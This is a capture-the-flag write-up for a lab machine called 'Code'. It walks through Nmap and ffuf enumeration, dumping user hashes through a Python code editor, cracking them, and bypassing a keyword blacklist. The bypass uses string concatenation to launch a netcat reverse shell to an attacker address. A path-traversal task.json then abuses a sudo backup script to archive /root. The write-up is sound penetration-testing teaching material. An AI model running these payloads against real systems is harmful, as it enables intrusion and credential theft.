Code

echo8134
4 min read

Code

15 Jun 2025
Prepared By: echo8134
Machine Author: [Unknown]
Difficulty: Easy/Medium

Synopsis

Code is an easy-to-medium difficulty Linux machine featuring a vulnerable Python code editor web application. The attack path involves exploiting a database disclosure vulnerability to extract user credentials, which are stored as MD5 hashes. After cracking these hashes, SSH access is obtained as the user martin. Lateral movement to the app-production user is achieved by exploiting the Python code editor’s insufficient input validation, bypassing blacklisted keywords through string concatenation. Privilege escalation is accomplished by abusing a backup script that can be manipulated through path traversal in its configuration file, allowing backup and extraction of the root directory contents.

Skills Required

  • Web application enumeration
  • SQL injection basics
  • Hash cracking
  • Python code injection
  • Linux privilege escalation
  • Path traversal exploitation

Skills Learned

  • Exploiting SQLAlchemy database disclosure
  • Bypassing keyword-based input validation
  • Abusing backup scripts with path traversal
  • Working with tar archives for privilege escalation

Enumeration

Nmap

sudo nmap -sC -sV -vv -oA nmap 10.129.236.54
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5b97cc4503295bcc26517df51a27abd (RSA)
|   256 94b525549b68afbe40e11da86b850d01 (ECDSA)
|   256 128cdc97ad8600b488e229cf69b56596 (ED25519)
5000/tcp open  http    syn-ack ttl 63 Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The scan reveals:

  • SSH on port 22 (OpenSSH 8.2p1)
  • HTTP on port 5000 (Gunicorn 20.0.4) hosting a Python Code Editor

Web Enumeration with FFuF

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
     -u http://10.129.236.54:5000/FUZZ

Notable endpoints discovered:

  • / - Python Code Editor interface
  • /about - About page
  • /login - Login page
  • /register - Registration page
  • /logout - Logout functionality (302 redirect)
  • /codes - Code storage (302 redirect)

Initial Access

Database Disclosure Vulnerability

The Python Code Editor at http://10.129.236.54:5000/ allows execution of Python code. Through trial and error, we discovered that the application uses SQLAlchemy and we can query the database directly.

Exploitation code:

users = db.session.query(db.metadata.tables['user']).all()
for user in users:
    print(f"ID: {user.id}, Username: {user.username}, Password: {user.password}")

Output:

ID: 1, Username: development, Password: 759b74ce43947f5f4c91aeddc3e5bad3
ID: 2, Username: martin, Password: 3de6f30c4a09c27fc71932bfc68474be

Password Cracking

The passwords are stored as MD5 hashes. We save and crack them:

echo "759b74ce43947f5f4c91aeddc3e5bad3" > hashes.txt
echo "3de6f30c4a09c27fc71932bfc68474be" >> hashes.txt

hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

Recovered credentials:

  • development:development
  • martin:nafeelswordsmaster

SSH Access

Testing the credentials via SSH:

ssh martin@10.129.236.54
# Password: nafeelswordsmaster

Martin’s credentials work! The development user is denied SSH access.

User Flag

After gaining SSH access as martin, we need to pivot to the app-production user who owns the user flag.

Code Injection via Python Editor

Examining martin’s home directory reveals a backup that contains the application source code:

martin@code:~$ ls backups/
code_home_app-production_app_2024_August.tar.bz2

Extracting and analyzing app.py reveals blacklisted keywords:

for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', 
                'subprocess', '__import__', '__builtins__']:
    if keyword in code.lower():
        return jsonify({'output': 'Use of restricted keywords is not allowed.'})

However, the imports are loaded before the blacklist check, allowing us to bypass it using string concatenation.

Reverse Shell

Set up a listener:

nc -lvnp 4444

Exploit the Python editor with bypass technique:

curl -X POST http://127.0.0.1:5000/run_code \
  --data-urlencode "code=getattr(sys.modules['o'+'s'], 'pop'+'en')('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.149 4444 > /tmp/f')"

Upgrade the shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Get the user flag:

app-production@code:~$ cat user.txt
43f94564e0e4b1934c0a4fdc27836bec

Privilege Escalation

Discovery

Exploring the system as app-production user:

app-production@code:~$ ls /home
app-production  martin

Backup Script Exploitation

In martin’s backup directory, we find a backup script configuration file (task.json) and a privileged backup utility:

martin@code:~/backups$ cat task.json
{
    "destination": "/home/martin/backups/",
    "multiprocessing": true,
    "verbose_log": false,
    "directories_to_archive": [
        "/home/app-production/app"
    ],
    "exclude": [
        ".*"
    ]
}

The backup script /usr/bin/backy.sh can be run with sudo and accepts a task.json file. The script has a path traversal vulnerability in the directories_to_archive field.

Exploiting Path Traversal

Create a malicious task.json to backup the root directory:

martin@code:~/backups$ cat > task.json << EOF
{
    "destination": "/home/martin/",
    "multiprocessing": true,
    "verbose_log": false,
    "directories_to_archive": [
        "/home/....//root/"
    ]
}
EOF

Run the backup script:

martin@code:~/backups$ sudo /usr/bin/backy.sh task.json
2025/06/15 13:39:18 🍀 backy 1.2
2025/06/15 13:39:18 📋 Working with task.json ...
2025/06/15 13:39:18 💤 Nothing to sync
2025/06/15 13:39:18 📤 Archiving: [/home/../root]
2025/06/15 13:39:18 📥 To: /home/martin ...
2025/06/15 13:39:18 📦

Root Flag

Extract the backup and retrieve the root flag:

martin@code:~$ ls
backups  code_home_.._root_2025_June.tar.bz2

martin@code:~$ tar -xjf code_home_.._root_2025_June.tar.bz2

martin@code:~$ ls root/
root.txt  scripts

martin@code:~$ cat root/root.txt
[Root Flag]

Conclusion

The Code machine demonstrates several important security concepts:

  1. Database Disclosure - The Python editor allowed direct database queries, exposing user credentials
  2. Weak Password Storage - MD5 hashes without salt are easily crackable
  3. Input Validation Bypass - String concatenation bypassed keyword blacklisting
  4. Path Traversal - The backup script’s insufficient input validation allowed directory traversal

Key takeaways:

  • Always validate and sanitize user input, especially in code execution contexts
  • Use proper password hashing algorithms (bcrypt, Argon2) instead of MD5
  • Implement defense in depth - don’t rely solely on blacklists
  • Validate file paths to prevent directory traversal attacks